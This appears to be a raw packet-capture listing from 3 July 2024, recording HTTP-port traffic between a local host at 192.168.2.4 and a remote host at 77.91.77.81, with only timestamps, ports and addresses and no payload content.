Jul 3, 2024 23:59:26.127805948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.127821922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.127855062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.127870083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.127923012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.127924919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.127969980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.127980947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.128030062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.128035069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.128087044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.128087997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.128119946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.128139019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.128153086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.128165007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.128186941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.128196001 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.128221035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.128243923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.128251076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.128256083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.128304958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.155313015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.155589104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.155622005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.155623913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.155653954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.155657053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.155661106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.155702114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.155705929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.155740976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.155751944 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.155786037 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.155791044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.155823946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.155836105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.155857086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.155873060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.155901909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.155905962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.155940056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.155952930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.155982018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.155988932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156021118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156035900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156071901 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156074047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156106949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156124115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156141043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156147957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156183958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156196117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156209946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156236887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156241894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156250954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156275988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156284094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156308889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156318903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156352043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156359911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156392097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156404972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156424999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156425953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156475067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156486988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156514883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156533957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156557083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156588078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156609058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156620026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156622887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156651974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156661987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156686068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156696081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156718969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156737089 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156761885 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156769037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156801939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156811953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156835079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156841993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156852961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156882048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156893969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156907082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156939983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156954050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156974077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.156987906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.156992912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157021999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157026052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157041073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157057047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157075882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157116890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157129049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157150030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157162905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157182932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157201052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157215118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157226086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157249928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157258034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157283068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157291889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157316923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157330990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157358885 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157401085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157433987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157450914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157466888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157480955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157500029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157509089 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157535076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157537937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157567024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157586098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157615900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157617092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157648087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157665014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157681942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157687902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157713890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157725096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157756090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157763004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157809973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157813072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157846928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157864094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157877922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157888889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157912970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157921076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157959938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.157963991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.157998085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.158020020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.158034086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.158046961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.158087015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.158097982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.158119917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.158132076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.158153057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.158164024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.158185959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.158195019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.158219099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.158224106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.158252001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.158265114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.158284903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.158293009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.158325911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.159446955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.159498930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.159542084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.159590960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.159636974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.159676075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.159722090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.159755945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.159771919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.159800053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.159821033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.159853935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.159868002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.159887075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.159898043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.159920931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.159931898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.159955025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.159961939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.159996033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.160006046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.160039902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.160059929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.160073042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.160080910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.160108089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.160116911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.160150051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.160154104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.160197973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.200355053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.200417995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.200432062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.200484037 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.200608015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.200623989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.200642109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.200694084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.200727940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.200745106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.200752020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.200793982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.200803995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.200850010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.200855017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.200901985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.200901985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.200937033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.200985909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.201003075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.201020002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.201046944 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.201054096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.201066971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.201088905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.201095104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.201132059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.223087072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.223148108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.223174095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.223225117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.223227978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.223275900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.223278046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.223310947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.223325968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.223345041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.223357916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.223377943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.223393917 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.223412037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.223423004 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.223459005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.250740051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.250777960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.250797033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.250828028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.250860929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.250875950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.250880003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.250922918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.250926018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.250967026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.250988007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251039028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251040936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251076937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251094103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251106024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251123905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251152039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251216888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251250982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251262903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251285076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251291990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251332998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251365900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251398087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251425028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251431942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251452923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251465082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251483917 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251499891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251513958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251532078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251549959 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251564980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251580000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251600027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251607895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251633883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251645088 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251667976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251689911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251708984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251734018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251766920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251785994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251806974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251877069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251904964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251935005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251939058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.251950026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.251972914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252005100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252007961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252032995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252049923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252055883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252087116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252093077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252119064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252126932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252156019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252166986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252196074 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252224922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252259016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252269983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252299070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252310038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252342939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252361059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252391100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252393007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252425909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252438068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252459049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252474070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252507925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252537966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252587080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252588987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252623081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252635956 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252656937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252688885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252692938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252718925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252722025 CEST	80	49744	77.91.77.81	192.168.2.4
